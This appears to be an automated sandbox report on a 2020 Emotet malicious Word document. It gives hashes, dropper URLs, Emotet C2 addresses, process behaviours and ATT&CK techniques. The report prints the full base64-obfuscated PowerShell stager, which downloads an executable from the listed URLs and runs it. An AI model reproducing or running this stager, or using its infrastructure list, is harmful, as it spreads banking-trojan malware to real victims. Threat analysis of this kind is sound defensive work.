emotet | 52b6c67df2a895a98d3cde7dd664e2fa6ccf834e9efe8ce45666b2cf3ef79594

General

Target
emotet_e3_52b6c67df2a895a98d3cde7dd664e2fa6ccf834e9efe8ce45666b2cf3ef79594_2020-08-25__105018._doc.doc
Size 240KB
Sample200825-2mf7y48exa
SHA256 52b6c67df2a895a98d3cde7dd664e2fa6ccf834e9efe8ce45666b2cf3ef79594
MD5 ffd2e11892c10e43adeab8620cef83a4
SHA1 fdd4291c8977029062d8dd92498bdf77dec69310
SHA512 6d2799d992bffdf76362d2f4b8da75a47844b88ea2e466c1a02070dd5b32e1d9b6dbf650036c10c22e61c40c2357ddd389cf3dd372e416fdb8c89dad9f33bde6
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://www.luxelistreviews.com/wp-includes/AYR/
exe.dropper
https://www.yhyhzx.com/wp-admin/pKpz/
exe.dropper
http://mediadrive.nichost.ru/awfcatfre/9thw57489/
exe.dropper
http://kumarpratham.com/fonts/Wtuq/
exe.dropper
http://fxea.club/wp-includes/mPqJMPzx/
exe.dropper
https://xiangfu.phjrt.com/0qeoy/voB355f13v2j475/
exe.dropper
https://www.batamry.com/tmp/baeng79095371/

Extracted

Family

emotet

C2

189.39.32.161:80
85.25.207.108:8080
185.86.148.68:443
75.127.14.170:8080
220.254.198.228:443
81.214.253.80:443
105.209.235.113:8080
185.208.226.142:8080
177.144.130.105:443
178.33.167.120:8080
86.57.216.23:80
143.95.101.72:8080
192.241.220.183:8080
78.189.60.109:443
179.62.238.49:80
190.212.140.6:80
188.251.213.180:443
37.46.129.215:8080
190.164.75.175:80
190.53.144.120:80
115.78.11.155:80
192.210.217.94:8080
197.221.158.162:80
157.7.164.178:8081
5.79.70.250:8080
46.105.131.68:8080
46.32.229.152:8080
95.216.205.155:8080
177.94.227.143:80
201.235.10.215:80
113.161.148.81:80
202.5.47.71:80
86.98.143.163:80
66.61.94.36:80
168.0.97.6:80
190.55.186.229:80
87.106.231.60:8080
181.113.229.139:443
190.190.15.20:80
50.116.78.109:8080
77.74.78.80:443
195.201.56.70:8080
74.208.173.91:8080
107.161.30.122:8080
162.249.220.190:80
188.0.135.237:80
71.57.180.213:80
41.185.29.128:8080
198.57.203.63:8080
139.59.12.63:8080
179.5.118.12:80
172.105.78.244:8080
181.126.54.234:80
173.94.215.84:80
177.32.8.85:80
37.210.226.93:80
139.99.157.213:8080
91.83.93.103:443
81.17.93.134:80
192.163.221.191:8080
31.146.61.34:80
115.79.195.246:80
181.137.229.1:80
113.203.250.121:443
217.199.160.224:8080
175.29.183.2:80
60.125.114.64:443
172.96.190.154:8080
203.153.216.178:7080
118.70.15.19:8080
185.142.236.163:443
51.38.201.19:7080
201.213.177.139:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2624	856	powersheLL.exe	66

Blacklisted process makes network request 2 IoCs

flow	pid	Process
16	2624	powersheLL.exe
20	2624	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
3472	C3bc3av5i.exe
576	nlaapi.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\WsmSvc\nlaapi.exe	C3bc3av5i.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
1568	WINWORD.EXE
1568	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
2624	powersheLL.exe
2624	powersheLL.exe
2624	powersheLL.exe
576	nlaapi.exe
576	nlaapi.exe
576	nlaapi.exe
576	nlaapi.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2624	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
1568	WINWORD.EXE
1568	WINWORD.EXE
1568	WINWORD.EXE
1568	WINWORD.EXE
1568	WINWORD.EXE
1568	WINWORD.EXE
1568	WINWORD.EXE
1568	WINWORD.EXE
1568	WINWORD.EXE
3472	C3bc3av5i.exe
3472	C3bc3av5i.exe
576	nlaapi.exe
576	nlaapi.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2624 wrote to memory of 3472	2624	powersheLL.exe	75
PID 2624 wrote to memory of 3472	2624	powersheLL.exe	75
PID 2624 wrote to memory of 3472	2624	powersheLL.exe	75
PID 3472 wrote to memory of 576	3472	C3bc3av5i.exe	76
PID 3472 wrote to memory of 576	3472	C3bc3av5i.exe	76
PID 3472 wrote to memory of 576	3472	C3bc3av5i.exe	76

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_52b6c67df2a895a98d3cde7dd664e2fa6ccf834e9efe8ce45666b2cf3ef79594_2020-08-25__105018._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:1568

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABNAHIAcgAzADEAbQBfAD0AKAAnAFYAeQAnACsAJwBzAGQANwBrAGsAJwApADsALgAoACcAbgAnACsAJwBlAHcALQBpAHQAJwArACcAZQBtACcAKQAgACQAZQBOAHYAOgB0AEUAbQBwAFwAbwBmAGYAaQBDAEUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAFIARQBjAHQAbwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBgAGMAYABVAGAAUgBpAFQAWQBgAFAAUgBPAHQAYABPAGMAbwBMACIAIAA9ACAAKAAnAHQAbABzACcAKwAnADEAMgAnACsAJwAsACAAdAAnACsAJwBsAHMAMQAxACwAIAB0AGwAcwAnACkAOwAkAEYAagBxAGsAdwBfAGwAIAA9ACAAKAAnAEMAMwBiAGMAJwArACcAMwAnACsAJwBhAHYAJwArACcANQBpACcAKQA7ACQATAA3AGsANwBqADcAZwA9ACgAJwBGAHgAJwArACcAZwB3ADMANABtACcAKQA7ACQARABsADUAZQBkAGMANgA9ACQAZQBuAHYAOgB0AGUAbQBwACsAKAAoACcAewAwAH0ATwBmACcAKwAnAGYAJwArACcAaQBjAGUAMgAnACsAJwAwADEAOQB7ADAAfQAnACkAIAAtAEYAIAAgAFsAYwBoAEEAUgBdADkAMgApACsAJABGAGoAcQBrAHcAXwBsACsAKAAnAC4AZQB4ACcAKwAnAGUAJwApADsAJABIAHAAdQAyAGcAOQBfAD0AKAAnAEUANQAnACsAJwA5AGkAaAAnACsAJwByADcAJwApADsAJABMAHIAaQBnAG8AdwBmAD0AJgAoACcAbgAnACsAJwBlAHcALQBvAGIAagBlAGMAJwArACcAdAAnACkAIABuAGUAdAAuAHcARQBiAGMATABpAGUAbgB0ADsAJABYAGMAbgB5AGUAMgBnAD0AKAAnAGgAJwArACcAdAB0AHAAOgAnACsAJwAvAC8AJwArACcAdwB3ACcAKwAnAHcALgBsAHUAeABlAGwAaQAnACsAJwBzACcAKwAnAHQAJwArACcAcgBlAHYAJwArACcAaQBlAHcAcwAuAGMAbwAnACsAJwBtAC8AdwAnACsAJwBwAC0AaQAnACsAJwBuAGMAbAB1AGQAJwArACcAZQBzAC8AJwArACcAQQBZACcAKwAnAFIALwAqAGgAJwArACcAdAB0AHAAJwArACcAcwAnACsAJwA6ACcAKwAnAC8ALwAnACsAJwB3ACcAKwAnAHcAdwAuAHkAaAB5ACcAKwAnAGgAegB4AC4AYwBvAG0ALwB3AHAALQBhAGQAbQAnACsAJwBpAG4ALwAnACsAJwBwAEsAcAB6AC8AJwArACcAKgBoAHQAdAAnACsAJwBwADoALwAvACcAKwAnAG0AZQBkAGkAJwArACcAYQBkACcAKwAnAHIAJwArACcAaQB2ACcAKwAnAGUALgBuAGkAYwAnACsAJwBoAG8AJwArACcAcwB0AC4AcgB1AC8AYQAnACsAJwB3AGYAYwBhAHQAJwArACcAZgAnACsAJwByAGUALwA5AHQAJwArACcAaAB3ADUAJwArACcANwA0ADgAOQAvACcAKwAnACoAaAB0ACcAKwAnAHQAcAA6AC8AJwArACcALwBrAHUAbQAnACsAJwBhAHIAJwArACcAcAByAGEAdABoAGEAbQAnACsAJwAuACcAKwAnAGMAbwBtAC8AZgAnACsAJwBvAG4AdABzAC8AVwAnACsAJwB0AHUAcQAnACsAJwAvACoAJwArACcAaAB0ACcAKwAnAHQAJwArACcAcAA6ACcAKwAnAC8ALwBmAHgAZQBhAC4AYwBsAHUAJwArACcAYgAvAHcAcAAtAGkAbgBjAGwAdQAnACsAJwBkAGUAcwAvACcAKwAnAG0AJwArACcAUABxAEoATQBQAHoAJwArACcAeAAvACcAKwAnACoAaAB0AHQAcABzADoAJwArACcALwAnACsAJwAvAHgAaQAnACsAJwBhAG4AZwAnACsAJwBmAHUALgBwAGgAagByAHQALgBjACcAKwAnAG8AbQAvACcAKwAnADAAcQBlACcAKwAnAG8AeQAvACcAKwAnAHYAbwBCADMANQA1AGYAMQAzAHYAJwArACcAMgBqACcAKwAnADQANwA1AC8AKgBoAHQAdABwAHMAOgAnACsAJwAvAC8AJwArACcAdwB3AHcALgBiAGEAJwArACcAdAAnACsAJwBhAG0AcgB5AC4AJwArACcAYwAnACsAJwBvACcAKwAnAG0ALwB0AG0AJwArACcAcAAvACcAKwAnAGIAJwArACcAYQBlACcAKwAnAG4AZwAnACsAJwA3ADkAMAA5ACcAKwAnADUAMwA3ACcAKwAnADEAJwArACcALwAnACkALgAiAFMAcABsAGAASQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQATwBvADkAZQA4ADkAbwA9ACgAJwBYADgAZAAnACsAJwB4ACcAKwAnAHcAcgBhACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAFcAcwAwAHoAZQB4AG4AIABpAG4AIAAkAFgAYwBuAHkAZQAyAGcAKQB7AHQAcgB5AHsAJABMAHIAaQBnAG8AdwBmAC4AIgBkAG8AVwBgAE4AYABMAG8AQQBEAGAARgBJAEwAZQAiACgAJABXAHMAMAB6AGUAeABuACwAIAAkAEQAbAA1AGUAZABjADYAKQA7ACQAVABlADEAZgBqAHIAZgA9ACgAJwBYACcAKwAnAHgAegAnACsAJwBxADkAOQAzACcAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAnACsAJwAtAEkAJwArACcAdABlAG0AJwApACAAJABEAGwANQBlAGQAYwA2ACkALgAiAEwAZQBuAGAAZwBgAFQAaAAiACAALQBnAGUAIAAzADQANAAwADkAKQAgAHsAJgAoACcASQAnACsAJwBuAHYAbwBrAGUALQBJAHQAZQAnACsAJwBtACcAKQAoACQARABsADUAZQBkAGMANgApADsAJABOAGMAbgA3AGkAMgBuAD0AKAAnAFkANgBqADYAbQAnACsAJwBiADEAJwApADsAYgByAGUAYQBrADsAJABTAHMAZAAyADIAbgBjAD0AKAAnAEwAaQAnACsAJwBrACcAKwAnAGkAMAB6ADAAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABKADgAZABwAHkAbgBzAD0AKAAnAEoAZQBtAHgANwAnACsAJwB4AHUAJwApAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2624
- C:\Users\Admin\AppData\Local\Temp\Office2019\C3bc3av5i.exe
  "C:\Users\Admin\AppData\Local\Temp\Office2019\C3bc3av5i.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3472
- - C:\Windows\SysWOW64\WsmSvc\nlaapi.exe
    "C:\Windows\SysWOW64\WsmSvc\nlaapi.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:576

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/576-18-0x0000000000A50000-0x0000000000A5C000-memory.dmp

Download

memory/1568-0-0x00007FFD230E0000-0x00007FFD237A6000-memory.dmp

Download

memory/1568-4-0x000002D193162000-0x000002D19316B000-memory.dmp

Download

memory/2624-9-0x00007FFD1B780000-0x00007FFD1C16C000-memory.dmp

Download

memory/2624-10-0x000001AC42EE0000-0x000001AC42EE1000-memory.dmp

Download

memory/2624-11-0x000001AC43090000-0x000001AC43091000-memory.dmp

Download

memory/3472-15-0x0000000002230000-0x000000000223C000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads